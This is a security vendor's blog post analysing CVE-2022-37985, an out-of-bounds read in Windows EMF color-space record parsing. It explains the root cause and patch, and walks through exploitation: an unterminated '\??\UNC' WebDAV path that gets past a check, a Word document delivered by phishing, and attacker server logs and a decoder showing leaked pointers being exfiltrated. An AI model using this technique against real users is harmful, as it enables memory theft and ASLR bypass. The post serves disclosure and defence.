The Art of Information Disclosure: A Deep Dive into CVE-2022-37985, a Unique Information Disclosure Vulnerability in Windows Graphics Component
By Bing Sun · May 03, 2023
Root cause analysis
The vulnerability, CVE-2022-37985, can be triggered by rendering a specially crafted Enhanced Metafile Format (EMF) image file, such as by extracting its thumbnail image. EMF is a file format used for storing portable representations of graphical images, and an EMF metafile consists of a sequence of records containing drawing commands, object definitions, and configuration settings. These records are parsed and processed to render the stored image on the output device. The specific record that causes this vulnerability is the EMR_CREATECOLORSPACE record, which is used to create a logical color space object from a color profile with an ASCII file name. In color management, a color space refers to a specific range of colors that can be represented, such as RGB. A color profile file, on the other hand, is a data file that describes the color characteristics of a particular device or color space, and it’s used to translate colors between different devices or color spaces, ensuring that colors remain consistent and accurate across various mediums.
The structure of the EMR_CREATECOLORSPACE record and the LogColorSpace object are defined in the MS-EMF and MS-WMF specifications, respectively, as depicted in Figure 1 below. The EMR_CREATECOLORSPACE record embeds a LogColorSpace object that specifies the logical color space to be created. Within the LogColorSpace object, there is an optional and variable-length Filename field that specifies the name of the color profile in ASCII characters, with a maximum length of 260 bytes. Under normal circumstances, the Filename field should be a null-terminated ASCII string, and the Size field of the EMR_CREATECOLORSPACE record should properly reflect the length of the entire record, including the variable Filename portion.
The gdi32full.dll library is the Windows Graphics Component responsible for parsing and processing EMF records, while the MRCREATECOLORSPACE::bPlay function serves as the handler for playing EMR_CREATECOLORSPACE record. Prior to invoking the CreateColorSpaceA function to create a logical color space object, MRCREATECOLORSPACE::bPlay conducts a preliminary check on the EMR_CREATECOLORSPACE record using the MRCREATECOLORSPACE::bCheckRecord function. As its name suggests, this function aims to ensure the integrity of the EMR_CREATECOLORSPACE record. Unfortunately, MRCREATECOLORSPACE::bCheckRecord only validates the length of the Filename field not exceed 260 bytes, without verifying its presence or termination with a null character (as shown in Figure 2). This oversight can result in an out-of-bounds read condition when accessing the defective Filename field later.
As a result of the aforementioned flaw in the checking logic, it is possible for a malformed EMR_CREATECOLORSPACE record to bypass the checks implemented by MRCREATECOLORSPACE::bCheckRecord and make its way to the CreateColorSpaceA function. Within this function, the length of the Filename field is calculated, and the ASCII Filename is then converted to Unicode format before being passed to the CreateColorSpaceInternalW function that is responsible for loading the specified color profile file. An example of a malformed EMR_CREATECOLORSPACE record is shown in the following screenshot, where the Filename field is absent, and the length calculation code reads four uninitialized padding bytes (0xd0d0d0d0) beyond the end of the record before stopping at an unmapped address (page heap enabled). This is a classic out-of-bounds read vulnerability, which could potentially result in the leaking of heap memory up to 260 bytes.
Exploitation of the vulnerability
When we initially reported this vulnerability to MSRC, they deemed it as a limited information disclosure issue, and thus did not consider it serious enough to warrant a security update. There are likely two reasons for this assessment. First, it would be challenging to return the leaked memory bytes for future use due to the inherent nature of the vulnerability. While exploiting the image related information disclosure vulnerabilities via a scripting runtime, such as by calling the Canvas Pixel API, is a well-known and commonly used approach, it cannot be used in this particular case to read back the leaked data. Furthermore, most vulnerable applications that support scripting runtime, including modern browsers like Chrome and Edge, have discontinued the support for metafile image rendering, thereby limiting the scope of the vulnerability's impact. Second, the Filename field is processed as an ASCII string, so the out-of-bounds access stops when a null character (0x00) is encountered, reducing the potential severity of the vulnerability. However, we were not willing to give up easily, so we continued our investigation in search of alternative exploitation methods to address these two challenges.
After several hours of poring over the specifications and debugging, we eventually discovered a native network channel that could be utilized to exfiltrate the leaked memory data. The key lay in the ColorSpaceType field of the LogColorSpace object (refer to Figure 1), specifically when the enumeration value LCS_PROFILE_LINKED (0x4C494E4B) assigned to it, which enables the loading of a color profile from a separate file (LCS_CALIBRATED_RGB may serve the same purpose). Since LCS_PROFILE_LINKED allows for loading an external color profile, we conjectured that this functionality could potentially support loading a profile from an UNC path. If we specify an UNC path that points to a remote machine under our control and leave the UNC path string unterminated, it’ll cause reading out of the bound of the string when converting the color profile file path to Unicode format. As such, there will be a chance that the converted file path may carry the memory bytes leaked from the out-of-bounds read, and these bytes will then be sent to our remote machine along with the remote color profile loading request. With this idea in mind, we crafted a LogColorSpace object with the ColorSpaceType field set to LCS_PROFILE_LINKED and the Filename set to something like “\\172.16.96.***”. However, this first attempt didn’t work out as expected, and it seemed that the remote color profile loading request was never sent out at all.
Then we spent additional time tracing deeper into the CreateColorSpaceInternalW function. It wasn't long before we discovered that the UNC path was actually being blocked by the BuildIcmProfilePath function, which is called from CreateColorSpaceInternalW function. This function checks whether the color profile path starts with a double slash or backslash character, and returns an error if it finds either (see Figure 4 below).
With this knowledge, we decided to try replacing “\\” with the NT internal path prefix representation "\??\UNC". To our delight, this alternative path prefix did successfully bypass the checks enforced by the BuildIcmProfilePath function, allowing the remote color profile loading request to reach KERNELBASE!CreateFileW without encountering any further issue. Figure 5 demonstrates that the leaked memory byte is now being part of the lpFileName parameter of the CreateFileW API. Once the file open request arrives there, the operating system takes care of the rest. Depending on the UNC path scheme, the operating system will choose the appropriate network protocol to deliver the request, such as via WEBDAV (a HTTP extension) or SMB. In a default Windows configuration, SMB is the default protocol to use. However, if a port is specified in the UNC path (with the @ symbol), the WEBDAV protocol will come into play. It's also worth noting that the non-ASCII and unprintable characters of smuggled data are likely to be encoded, such as being percent-encoded in WEBDAV URI, so the receiver may need to have a decoder to recover this information.
Up until now, we've successfully addressed the first challenge, but the second challenge concerning data truncation upon the null character seems to be an unavoidable obstacle. However, all is not lost. There are still ways to mitigate this issue. For one, we can increase the number of triggers of the vulnerability. For example, this can be achieved by crafting numerous malformed EMR_CREATECOLORSPACE records within an EMF image, and embedding multiple copies of the resulting EMF in a Word document. Moreover, since the length of the UNC path is within our control, we can leverage the Windows heap Fengshui technique to adjust the length of the path (hence the size of the entire record), thereby placing the records into different areas on the heap (i.e. different heap buckets). By employing these two measures, we can maximize the chances of successfully leaking meaningful information from the targeted application, such as a virtual function table pointer (vftable pointer) or a partial oauth2 access token (base64 encoded).
Exploitation in action
In this section, we will be targeting Microsoft Word for Microsoft 365 (64-bit), which attempts to render the embedded EMF images in a Word document when it’s opened. We will be using this as an example to showcase how this vulnerability can be exploited to leak sensitive information. To initiate the exploitation, we will set the Filename field to start with “\??\UNC\172.16.96.***@8888\”, which directs to a WEBDAV server under our control, followed by a sequence of padding bytes “x” that allow us to control the overall record size. As previously mentioned, we will also utilize a tactic that involves inserting multiple copies of an EMF file in a Word document, increasing the likelihood of successfully exploiting the vulnerability. On the attacker side, we will employ the SharpWebServer tool to listen on the specified port and monitor incoming HTTP requests. The malicious Word document can be distributed to the victim via various methods, such as a phishing email, a link on SharePoint or thumb drive. Once the victim opens the document, the embedded EMF images will be processed within the winword.exe process, repeatedly triggering the vulnerability. At this point, SharpWebServer should detect incoming HTTP requests with leaked memory concealed in their URI. With a simple Python script, we can decode the leaked data, and we can also verify the authenticity of the leaked information by attaching Windbg to winword.exe on the victim's system.
C:\>SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true
:: SharpWebServer ::
a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality
[.] Serving HTTP server on port : 8888
[.] Serving files from directory : C:\Windows\Temp
[.] Verbose mode turned on.
SharpWebServer [06.07.22, 18:39:40] 172.16.96.*** - "PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C3%A8%C3%96i%C2%B6%C3%BD%7F" - len: 0 (404)
SharpWebServer [06.07.22, 18:40:20] 172.16.96.*** - "PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F" - len: 0 (404)
C:\>python decode.py %C3%A8%C3%96i%C2%B6%C3%BD%7F
The original leaked bytes are: '\xe8\xd6i\xb6\xfd\x7f'
The decoded leaked bytes are: 0xe8 0xd6 0x69 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb669d6e8
C:\>python decode.py %C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F
The original leaked bytes are: '\u017d\xa4\xc6\xb6\xfd\x7f'
The decoded leaked bytes are: 0x8e 0xa4 0xc6 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb6c6a48e
0:034> u 0x7ffdb669d6e8
00007ffd`b669d6e8 c03939 sar byte ptr [rcx],39h
00007ffd`b669d6eb b6fd mov dh,0FDh
00007ffd`b669d6ed 7f00 jg mso20win32client!Ordinal1409+0x1f99f (00007ffd`b669d6ef)
0:034> dp 0x7ffdb669d6e8 L1
00007ffd` b669d6e8 00007ffd`b63939c0
0:034> u 0x7ffdb6c6a48e
00007ffd`b6c6a48e 3d01020480 cmp eax,80040201h
00007ffd`b6c6a493 0f841fa7ffff je wwlib!DllMain+0x106388 (00007ffd`b6c64bb8)
The Proof of Concept (PoC) above demonstrates how this vulnerability can be exploited to leak useful information from memory, such as vftable pointer and address of a loaded module. It's worth noting that the exploitation of this information disclosure vulnerability differs from the traditional way, in which information is usually disclosed and used on the spot. With this vulnerability, however, the leaked information is sent back to the attacker for later use. We believe that this attribute has some advantages under certain circumstances, such as when exploiting memory-based vulnerabilities in Microsoft Office.
Mitigation of the vulnerability
So far, we've thoroughly explored the technical details of CVE-2022-37985, including the root cause and exploitation method. In this section, we will discuss the mitigation of the vulnerability.
The most straightforward and effective way to mitigate this issue is to apply the Microsoft patches that have been released specifically for this vulnerability. The patch modified the MRCREATECOLORSPACE::bCheckRecord function and introduced additional checks to validate the integrity of the EMR_CREATECOLORSPACE record. The newly added checks ensure that the Filename field is a null-terminated ASCII string and its length is correctly included in the Size field of the EMR_CREATECOLORSPACE record (see Figure 6). Given the high exploitability and potential impact of this vulnerability, we strongly recommend that all users of the affected Windows versions to update their operating systems to the latest versions as soon as possible.
For some systems where applying Microsoft patches is not an option, users can temporarily disable the webclient service to prevent data exfiltration via the WEBDAV protocol. Additionally, closely monitoring suspicious outgoing network traffic can also help identify potential exploitation attempts. In the case of a Microsoft Word exploitation scenario, users should make sure that the "Protected View" feature is enabled. This feature can effectively block untrusted content embedded in a Word document and help to prevent exploitation attempts.
Lastly, third-party security products are also a good choice to help protect users from attacks. We at Trellix provide a network IPS signature, "0x452b8e00: http: Microsoft Windows Graphics Component Information Disclosure Vulnerability (CVE-2022-37985)," that can be used to detect the exploitation attempts of this vulnerability.
In this blog post, we have delved into the details of CVE-2022-37985, a unique information disclosure vulnerability in the Windows Graphics Component that enables a remote attacker to exfiltrate sensitive information through a built-in networking mechanism. We have explored the root cause of the vulnerability and discussed the exploitation method, as well as the security patch released by Microsoft to address the issue. Furthermore, using Microsoft Word as an example, we have demonstrated how this vulnerability can be leveraged to bypass ASLR protection, and the potential for this vulnerability to be weaponized into a real remote code execution exploit when used in conjunction with other vulnerabilities. The distinctive nature of CVE-2022-37985 highlights the importance of being continuously vigilant and remaining alert to emerging threats. Considering the exploitability and impact of CVE-2022-3785, the Trellix Advanced Research Center strongly urges all users to take necessary measures to protect themselves, including following best security practices, promptly applying security patches, and deploying the intrusion prevention products.
May 30, 2023
Trellix Expands AWS Integrations to Provide Greater Data Security to Cloud Infrastructure Customers
May 8, 2023
CRN Recognizes Trellix on its 2023 Women of the Channel and Power 100 Lists
Apr 25, 2023
96% of CISOs Struggle to Get the Support Required to Be Resilient Against Cyber Attacks
Apr 24, 2023
Trellix Launches Comprehensive Endpoint Security Suite
Apr 24, 2023
Trellix Receives FedRAMP High Authorization to Operate for Trellix Extended Detection and Response GovCloud
The latest from our newsroom
The Bug Report – May 2023 Edition
By Mark Bereza · June 7, 2023
April showers bring May flowers, but what do May flowers bring? CVE-2023-28771, CVE-2023-2868, and CVE-2023-24932, apparently.
Normalize Your Environment
By Kyle Wood · June 2, 2023
This blog focuses on the key areas needed to gain a clear and clean view into your environment to more easily identify malicious activity.
Working Together to Invest in People
By Michael Alicea · May 17, 2023
I was honored to participate in a recent RSAC cyber skills panel discussing how the public, private, and non-profit sectors can work together to support the successful implementation of the National Cyber Workforce Strategy.
Get the latest
We’re no strangers to cybersecurity. But we are a new company.
Stay up to date as we evolve.
Zero spam. Unsubscribe at any time.